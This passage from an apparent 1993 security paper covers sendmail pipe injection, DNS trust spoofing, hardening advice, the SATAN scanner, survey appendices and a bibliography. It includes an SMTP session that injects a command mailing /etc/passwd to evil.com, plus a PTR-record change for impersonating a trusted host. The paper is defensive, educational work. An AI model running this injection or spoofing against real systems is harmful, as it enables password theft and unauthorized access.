  843. a typical attack to get the password file might look like this:
  844.  
  845.  evil % telnet victim.com 25
  846.  
  847.  Trying 128.128.128.1...
  848.  
  849.  Connected to victim.com
  850.  
  851.  Escape character is '^]'.
  852.  
  853.  220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
  854.  
  855.  mail from: "|/bin/mail zen@evil.com < /etc/passwd"
  856.  
  857.  250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok
  858.  
  859.  rcpt to: nosuchuser
  860.  
  861.  550 nosuchuser... User unknown
  862.  
  863.  data
  864.  
  865.  354 Enter mail, end with "." on a line by itself
  866.  
  867.  .
  868.  
  869.  250 Mail accepted
  870.  
  871.  quit
  872.  
  873.  Connection closed by foreign host.
  874.  
  875.  evil %
  876.  
  877. At the time of writing, version 8.6.4 of sendmail (see Appendix D for
  878. information on how to get this) is reportedly the only variant of sendmail
  879. with all of the recent security bugs fixed.
  880.  
  881. Trust
  882.  
  883. For our final topic of vulnerability, we'll digress from the practical
  884. strategy we've followed previously to go a bit more into the theoretical
  885. side, and briefly discuss the notion of trust. The issues and implications
  886. of vulnerabilities here are a bit more subtle and far-reaching than what
  887. we've covered before; in the context of this paper we use the word trust
  888. whenever there is a situation when a server (note that any host that allows
  889. remote access can be called a server) can permit a local resource to be
  890. used by a client without password authentication when password
  891. authentication is normally required. In other words, we arbitrarily limit
  892. the discussion to clients in disguise.
  893.  
  894. There are many ways that a host can trust: .rhosts and hosts.equiv files
  895. that allow access without password verification; window servers that allow
  896. remote systems to use and abuse privileges; export files that control
  897. access via NFS, and more.
  898.  
  899. Nearly all of these rely on client IP address to hostname conversion to
  900. determine whether or not service is to be granted. The simplest method uses
  901. the /etc/hosts file for a direct lookup. However, today most hosts use
  902. either DNS (the Domain Name Service), NIS, or both for name lookup service.
  903. A reverse lookup occurs when a server has an IP address (from a client host
  904. connecting to it) and wishes to get the corresponding client hostname.
  905.  
  906. Although the concept of how host trust works is well understood by most
  907. system administrators, the dangers of trust, and the practical problem it
  908. represents, irrespective of hostname impersonation, is one of the least
  909. understood problems we know of on the Internet. This goes far beyond the
  910. obvious hosts.equiv and rhosts files; NFS, NIS, windowing systems --
  911. indeed, much of the useful services in UNIX are based on the concept that
  912. well known (to an administrator or user) sites are trusted in some way.
  913. What is not understood is how networking so tightly binds security between
  914. what are normally considered disjoint hosts.
  915.  
  916. Any form of trust can be spoofed, fooled, or subverted, especially when the
  917. authority that gets queried to check the credentials of the client is
  918. either outside of the server's administrative domain, or when the trust
  919. mechanism is based on something that has a weak form of authentication;
  920. both are usually the case.
  921.  
  922. Obviously, if the host containing the database (either NIS, DNS, or
  923. whatever) has been compromised, the intruder can convince the target host
  924. that s/he is coming from any trusted host; it is now sufficient to find out
  925. which hosts are trusted by the target. This task is often greatly helped by
  926. examining where system administrators and system accounts (such as root,
  927. etc.) last logged in from. Going back to our target, victim.com, you note
  928. that root and some other system accounts logged in from big.victim.com. You
  929. change the PTR record for evil.com so that when you attempt to rlogin in
  930. from evil.com to victim.com, victim.com will attempt to look up your
  931. hostname and will find what you placed in the record. If the record in the
  932. DNS database looks like:
  933.  
  934.  1.192.192.192.in-addr.arpa     IN      PTR     evil.com
  935.  
  936. And you change it to:
  937.  
  938.  1.192.192.192.in-addr.arpa     IN      PTR     big.victim.com
  939.  
  940. then, depending on how naive victim.com's system software is, victim.com
  941. will believe the login comes from big.victim.com, and, assuming that
  942. big.victim.com is in the /etc/hosts.equiv or /.rhosts files, you will be
  943. able to login without supplying a password. With NIS, it is a simple matter
  944. of either editing the host database on the NIS master (if this is
  945. controlled by the intruder) or of spoofing or forcing NIS (see discussion
  946. on NIS security above) to supply the target with whatever information you
  947. desire. Although more complex, interesting, and damaging attacks can be
  948. mounted via DNS, time and space don't allow coverage of these methods here.
  949.  
  950. Two methods can be used to prevent such attacks. The first is the most
  951. direct, but perhaps the most impractical. If your site doesn't use any
  952. trust, you won't be as vulnerable to host spoofing. The other strategy is
  953. to use cryptographic protocols. Using the secure RPC protocol (used in
  954. secure NFS, NIS+, etc.) is one method; although it has been "broken"
  955. cryptographically, it still provides better assurance than RPC
  956. authentication schemes that do not use any form of encryption. Other
  957. solutions, both hardware (smartcards) and software (Kerberos), are being
  958. developed, but they are either incomplete or require changes to system
  959. software.
  960.  
  961. Appendix B details the results of an informal survey taken from a variety
  962. of hosts on the Internet.
  963.  
  964. Protecting the system
  965.  
  966. It is our hope that we have demonstrated that even some of the most
  967. seemingly innocuous services run can offer (sometimes unexpectedly)
  968. ammunition to determined system crackers. But, of course, if security were
  969. all that mattered, computers would never be turned on, let alone hooked
  970. into a network with literally millions of potential intruders. Rather than
  971. reiterating specific advice on what to switch on or off, we instead offer
  972. some general suggestions:
  973.  
  974.    * If you cannot turn off the finger service, consider installing a
  975.      modified finger daemon. It is rarely necessary to reveal a user's home
  976.      directory and the source of last login.
  977.    * Don't run NIS unless it's absolutely necessary. Use NFS as little as
  978.      possible.
  979.    * Never export NFS filesystems unrestricted to the world. Try to export
  980.      file systems read-only where possible.
  981.    * Fortify and protect servers (e.g. hosts that provide a service to
  982.      other hosts -- NFS, NIS, DNS, whatever.) Only allow administrative
  983.      accounts on these hosts.
  984.    * Examine carefully services offered by inetd and the portmapper.
  985.      Eliminate any that aren't explicitly needed. Use Wietse Venema's inetd
  986.      wrappers, if for no other reason than to log the sources of
  987.      connections to your host. This adds immeasurably to the standard UNIX
  988.      auditing features, especially with respect to network attacks. If
  989.      possible, use the loghost mechanism of syslog to collect
  990.      security-related information on a secure host.
  991.    * Eliminate trust unless there is an absolute need for it. Trust is your
  992.      enemy.
  993.    * Use shadow passwords and a passwd command that disallows poor
  994.      passwords. Disable or delete unused/dormant system or user accounts.
  995.    * Keep abreast of current literature (see our suggested reading list and
  996.      bibliography at the end of this paper) and security tools; communicate
  997.      to others about security problems and incidents. At minimum, subscribe
  998.      to the CERT mailing list and phrack magazine (plus the firewalls
  999.      mailing list, if your site is using or thinking about installing a
  1000.      firewall) and read the usenet security newsgroups to get the latest
  1001.      information on security problems. Ignorance is the deadliest security
  1002.      problem we are aware of.
  1003.    * Install all vendor security patches as soon as possible, on all of
  1004.      your hosts. Examine security patch information for other vendors -
  1005.      many bugs (rdist, sendmail) are common to many UNIX variants.
  1006.  
  1007. It is interesting to note that common solutions to security problems such
  1008. as running Kerberos or using one-time passwords or digital tokens are
  1009. ineffective against most of the attacks we discuss here. We heartily
  1010. recommend the use of such systems, but be aware that they are not a total
  1011. security solution -- they are part of a larger struggle to defend your
  1012. system.
  1013.  
  1014. Conclusions
  1015.  
  1016. Perhaps none of the methods shown here are surprising; when writing this
  1017. paper, we didn't learn very much about how to break into systems. What we
  1018. did learn was, while testing these methods out on our own systems and that
  1019. of friendly sites, just how effective this set of methods is for gaining
  1020. access to a typical (UNIX) Internet host. Tiring of trying to type these in
  1021. all by hand, and desiring to keep our own systems more secure, we decided
  1022. to implement a security tool (SATAN) that attempts to check remote hosts
  1023. for at least some of the problems discussed here. The typical response,
  1024. when telling people about our paper and our tool was something on the order
  1025. of "that sounds pretty dangerous -- I hope you're not going to give it out
  1026. to everybody. But you since you can trust me, may I have a copy of it?"
  1027.  
  1028. We never set out to create a cookbook or toolkit of methods and programs on
  1029. how to break into systems -- instead, we saw that these same methods were
  1030. being used, every day, against ourselves and against friendly system
  1031. administrators. We believe that by propagating information that normally
  1032. wasn't available to those outside of the underworld, we can increase
  1033. security by raising awareness. Trying to restrict access to "dangerous"
  1034. security information has never seemed to be a very effective method for
  1035. increasing security; indeed, the opposite appears to be the case, since the
  1036. system crackers have shown little reticence to share their information with
  1037. each other.
  1038.  
  1039. While it is almost certain that some of the information presented here is
  1040. new material to (aspiring) system crackers, and that some will use it to
  1041. gain unauthorized entrance onto hosts, the evidence presented even by our
  1042. ad hoc tests shows that there is a much larger number of insecure sites,
  1043. simply because the system administrators don't know any better -- they
  1044. aren't stupid or slow, they simply are unable to spend the very little free
  1045. time that they have to explore all of the security issues that pertain to
  1046. their systems. Combine that with no easy access to this sort of information
  1047. and you have poorly defended systems. We (modestly) hope that this paper
  1048. will provide badly-needed data on how systems are broken into, and further,
  1049. to explain why certain steps should be taken to secure a system. Knowing
  1050. why something is a problem is, in our opinion, the real key to learning and
  1051. to making an informed, intelligent choice as to what security really means
  1052. for your site.
  1053.  
  1054. ---------------------------------------------------------------------------
  1055.  
  1056. Appendix A:
  1057.  
  1058. SATAN (Security Analysis Tool for Auditing Networks)
  1059.  
  1060. Originally conceived some years ago, SATAN is actually the prototype of a
  1061. much larger and more comprehensive vision of a security tool. In its
  1062. current incarnation, SATAN remotely probes and reports various bugs and
  1063. weaknesses in network services and windowing systems, as well as detailing
  1064. as much generally useful information as possible about the target(s). It
  1065. then processes the data with a crude filter and what might be termed an
  1066. expert system to generate the final security analysis. While not
  1067. particularly fast, it is extremely modular and easy to modify.
  1068.  
  1069. SATAN consists of several sub-programs, each of which is an executable file
  1070. (perl, shell, compiled C binary, whatever) that tests a host for a given
  1071. potential weakness. Adding further test programs is as simple as putting an
  1072. executable into the main directory with the extension ".sat"; the driver
  1073. program will automatically execute it. The driver generates a set of
  1074. targets (using DNS and a fast version of ping together to get "live"
  1075. targets), and then executes each of the programs over each of the targets.
  1076. A data filtering/interpreting program then analyzes the output, and lastly
  1077. a reporting program digests everything into a more readable format.
  1078.  
  1079. The entire package, including source code and documentation, will be made
  1080. freely available to the public, via anonymous ftp and by posting it to one
  1081. of the numerous source code groups on the Usenet.
  1082.  
  1083. ---------------------------------------------------------------------------
  1084.  
  1085. Appendix B:
  1086.  
  1087. An informal survey conducted on about a dozen Internet sites (educational,
  1088. military, and commercial, with over 200 hosts and 40000 accounts) revealed
  1089. that on the average, close to 10 percent of a site's accounts had .rhosts
  1090. files. These files averaged six trusted hosts each; however, it was not
  1091. uncommon to have well over one hundred entries in an account's .rhosts
  1092. file, and on a few occasions, the number was over five hundred! (This is
  1093. not a record one should be proud of owning.) In addition, every site
  1094. directly on the internet (one site was mostly behind a firewall) trusted a
  1095. user or host at another site -- thus, the security of the site was not
  1096. under the system administrators direct control. The larger sites, with more
  1097. users and hosts, had a lower percentage of users with .rhosts files, but
  1098. the size of .rhosts files increased, as well as the number of trusted
  1099. off-site hosts.
  1100.  
  1101. Although it was very difficult to verify how many of the entries were
  1102. valid, with such hostnames such as "Makefile", "Message-Id:", and
  1103. "^Cs^A^C^M^Ci^C^MpNu^L^Z^O", as well as quite a few wildcard entries, we
  1104. question the wisdom of putting a site's security in the hands of its users.
  1105. Many users (especially the ones with larger .rhosts files) attempted to put
  1106. shell-style comments in their .rhosts files, which most UNIX systems
  1107. attempt to resolve as valid host names. Unfortunately, an attacker can then
  1108. use the DNS and NIS hostname spoofing techniques discussed earlier to set
  1109. their hostname to "#" and freely log in. This puts a great many sites at
  1110. risk (at least one major vendor ships their systems with comments in their
  1111. /etc/hosts.equiv files.)
  1112.  
  1113. You might think that these sites were not typical, and, as a matter of
  1114. fact, they weren't. Virtually all of the administrators knew a great deal
  1115. about security and write security programs for a hobby or profession, and
  1116. many of the sites that they worked for did either security research or
  1117. created security products. We can only guess at what a "typical" site might
  1118. look like.
  1119.  
  1120. ---------------------------------------------------------------------------
  1121.  
  1122. Appendix C:
  1123.  
  1124. After receiving mail from a site that had been broken into from one of our
  1125. systems, an investigation was started. In time, we found that the intruder
  1126. was working from a list of ".com" (commercial) sites, looking for hosts
  1127. with easy-to steal password files. In this case, "easy-to-steal" referred
  1128. to sites with a guessable NIS domainname and an accessible NIS server. Not
  1129. knowing how far the intruder had gotten, it looked like a good idea to warn
  1130. the sites that were in fact vulnerable to password file theft. Of the 656
  1131. hosts in the intruder's hit list, 24 had easy-to-steal password files --
  1132. about one in twenty-five hosts! One third of these files contained at least
  1133. one password-less account with an interactive shell. With a grand total of
  1134. 1594 password-file entries, a ten-minute run of a publically-available
  1135. password cracker (Crack) revealed more than 50 passwords, using nothing but
  1136. a low-end Sun workstation. Another 40 passwords were found within the next
  1137. 20 minutes; and a root password was found in just over an hour. The result
  1138. after a few days of cracking: five root passwords found, 19 out of 24
  1139. password files (eighty percent) with at least one known password, and 259
  1140. of 1594 (one in six) passwords guessed.
  1141.  
  1142. ---------------------------------------------------------------------------
  1143.  
  1144. Appendix D:
  1145.  
  1146. How to get some free security resources on the Internet
  1147.  
  1148. Mailing lists:
  1149.  
  1150.    * The CERT (Computer Emergency Response Team) advisory mailing list.
  1151.      Send e-mail to cert@cert.org, and ask to be placed on their mailing
  1152.      list.
  1153.    * The Phrack newsletter. Send an e-mail message to phrack@well.sf.ca.us
  1154.      and ask to be added to the list.
  1155.    * The Firewalls mailing list. Send the following line to
  1156.      majordomo@greatcircle.com:
  1157.  
  1158.          subscribe firewalls
  1159.  
  1160.    * Computer Underground Digest. Send e-mail to tk0jut2@mvs.cso.niu.edu,
  1161.      asking to be placed on the list.
  1162.  
  1163. Free Software:
  1164.  
  1165. COPS (Computer Oracle and Password System) is available via anonymous ftp
  1166. from ftp://ftp.win.tue.nl/pub/security/.
  1167.  
  1168. The latest version of berkeley sendmail is available via anonymous ftp from
  1169. ftp://ftp.cs.berkeley.edu/ucb/sendmail/.
  1170.  
  1171. Sources for ftpd and many other network utilities can be found in
  1172. ftp://ftp.uu.net/packages/bsd-sources/.
  1173.  
  1174. Source for ISS (Internet Security Scanner), a tool that remotely scans for
  1175. various network vulnerabilities, is available via anonymous ftp from
  1176. ftp://ftp.uu.net/usenet/comp.sources.misc/volume40/iss/.
  1177.  
  1178. Securelib is available via anonymous ftp from
  1179. ftp://ftp.uu.net/usenet/comp.sources.misc/volume36/securelib/.
  1180.  
  1181. ---------------------------------------------------------------------------
  1182.  
  1183. Bibliography:
  1184.  
  1185. Baldwin, Robert W., Rule Based Analysis of Computer Security, Massachusetts
  1186. Institute of Technology, June 1987.
  1187.  
  1188. Bellovin, Steve, Using the Domain Name System for System Break-ins, 1992
  1189. (unpublished).
  1190.  
  1191. Massachusetts Institute of Technology, X Window System Protocol, Version
  1192. 11, 1990.
  1193.  
  1194. Shimomura, Tsutomu, private communication.
  1195.  
  1196. Sun Microsystems, OpenWindows V3.0.1 User Commands, March 1992.
  1197. ---------------------------------------------------------------------------
  1198.  
  1199. Suggested reading:
  1200.  
  1201. Bellovin, Steve, Security Problems in the TCP/IP Protocol Suite, Computer
  1202. Communication Review 19 (2), 1989; a comment by Stephen Kent appears in
  1203. volume 19 (3), 1989.
  1204.  
  1205. Garfinkle, Simson and Spafford, Gene, Practical UNIX Security, O'Reilly and
  1206. Associates, Inc., 1992.
  1207.  
  1208. Hess, David, Safford, David, and Pooch, Udo, A UNIX Network Protocol Study:
  1209. Network Information Service, Computer Communication Review 22 (5) 1992.
  1210.  
  1211. Phreak Accident, Playing Hide and Seek, UNIX style, Phrack, Volume Four,
  1212. Issue Forty-Three, File 14 of 27.
  1213.  
  1214. Ranum, Marcus, Firewalls internet electronic mailing list, Sept 1993.
  1215.  
  1216. Schuba, Christoph, Addressing Weaknesses in the Domain Name System
  1217. Protocal, Purdue University, August 1993.
  1218.  
  1219. Thompson, Ken, Reflections on Trusting Trust, Communications of the ACM 27
  1220. (8),1984.
  1221.